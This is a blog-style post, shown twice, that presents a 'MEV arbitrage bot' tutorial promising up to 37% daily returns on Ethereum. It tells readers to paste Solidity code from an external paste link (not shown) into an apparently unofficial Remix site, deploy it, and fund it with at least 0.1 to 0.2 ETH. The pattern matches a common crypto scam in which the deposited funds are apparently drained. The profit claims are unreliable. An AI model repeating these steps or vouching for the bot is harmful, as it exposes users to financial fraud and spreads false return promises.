MEV Bot Tutorial Updated | up to 37% / DAY | Ethereum | Arbitrage slippage BOT | MAY 2023
Brian Kennedy
3 min read
Everyone in cryptocurrency needs to know about this.
Basically, Maximal Extractable Value (MEV) bots are arbitrage tools that sniffs Mempools for pending transactions on decentralized exchanges AKA DEXs for short (such as Uniswap, PancakeSwap, 1inch, Sushiswap, etc).
The bot works in a way which inserts your own transactions with a slightly higher gas fee, higher than the transaction which is trying to be entered. Essentially sandwiching the pending transaction and forcing yours to be automatically processed first which then profits off of the slippage differences between your transactions and the pending transactions.
You can message me on Telegram if you have any questions: https://t.me/SolidityMev
STEP BY STEP INSTRUCTIONS:
👉 Download MetaMask: https://metamask.io/download
👉 Access the Remix: https://remixide.org
👉 Right click on the ”contracts” folder and create a new file. Rename it as you like, for example ”bot.sol”
👉 Paste THIS code in Remix: https://pastes.io/raw/dlkesrh2ov
👉 Move to the ”Solidity Compiler” tab, select version ”0.6.6” and then click ”Compile”
👉 Move to the ”Deploy” tab, select ”Injected Provider” as the environment, then click ”Deploy”. After the transaction is confirmed, your bot has been created
👉 Deposit funds (at least 0.1+ Ethereum to prevent negative slippage) to your exact contract/bot address
👉 After your transaction is confirmed start the bot by clicking the ”start” button and withdraw at anytime by clicking the ”withdraw” button
Share your profits in the comments section below, like and subscribe for more lucrative ways to earn through cryptocurrency.
🚨 EDIT: I’ve received messages from people who didn’t fund the contract with enough Ethereum to cover gas fees and possible burn fees. The bot targets token contracts with max 10% burn fee and anything lower. Nowadays most tokens come with 2~6% fees. If you fund the contract with 0.2 ETH or less and the bot targets another token with high burn fees the contract will waste a lot of gas fees. I recommend funding the contract with at least 0.2 ETH to make sure that won’t happen.
Can I turn off my computer?
Yes. Once the smart contract has been deployed it lives on the blockchain. Just save the address and then you can import it into remix just below the ”Deploy” button by pasting in the contract address and pressing ”At Address”.
Learn more about MEV here:
www.ethereum.org/en/developers/docs/mev/
MEV Profit Live-Stream:
https://eigenphi.io/
#ethereum #trading #defi #uniswap #pancakeswap #dex #eth
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"promosm" 😘
Everyone in cryptocurrency needs to know about this.
Basically, Maximal Extractable Value (MEV) bots are arbitrage tools that sniffs Mempools for pending transactions on decentralized exchanges AKA DEXs for short (such as Uniswap, PancakeSwap, 1inch, Sushiswap, etc).
The bot works in a way which inserts your own transactions with a slightly higher gas fee, higher than the transaction which is trying to be entered. Essentially sandwiching the pending transaction and forcing yours to be automatically processed first which then profits off of the slippage differences between your transactions and the pending transactions.
You can message me on Telegram if you have any questions: https://t.me/SolidityMev
STEP BY STEP INSTRUCTIONS:
👉 Download MetaMask: https://metamask.io/download
👉 Access the Remix: https://remixide.org
👉 Right click on the ''contracts'' folder and create a new file. Rename it as you like, for example ''bot.sol''
👉 Paste THIS code in Remix: https://pastes.io/raw/dlkesrh2ov
👉 Move to the ''Solidity Compiler'' tab, select version ''0.6.6'' and then click ''Compile''
👉 Move to the ''Deploy'' tab, select ''Injected Provider'' as the environment, then click ''Deploy''. After the transaction is confirmed, your bot has been created
👉 Deposit funds (at least 0.1+ Ethereum to prevent negative slippage) to your exact contract/bot address
👉 After your transaction is confirmed start the bot by clicking the ''start'' button and withdraw at anytime by clicking the ''withdraw'' button
Share your profits in the comments section below, like and subscribe for more lucrative ways to earn through cryptocurrency.
🚨 EDIT: I've received messages from people who didn't fund the contract with enough Ethereum to cover gas fees and possible burn fees. The bot targets token contracts with max 10% burn fee and anything lower. Nowadays most tokens come with 2~6% fees. If you fund the contract with 0.2 ETH or less and the bot targets another token with high burn fees the contract will waste a lot of gas fees. I recommend funding the contract with at least 0.2 ETH to make sure that won't happen.
Can I turn off my computer?
Yes. Once the smart contract has been deployed it lives on the blockchain. Just save the address and then you can import it into remix just below the ''Deploy'' button by pasting in the contract address and pressing ''At Address''.
Learn more about MEV here:
http://www.ethereum.org/en/developers/docs/mev/
MEV Profit Live-Stream:
https://eigenphi.io/
#ethereum #trading #defi #uniswap #pancakeswap #dex #eth
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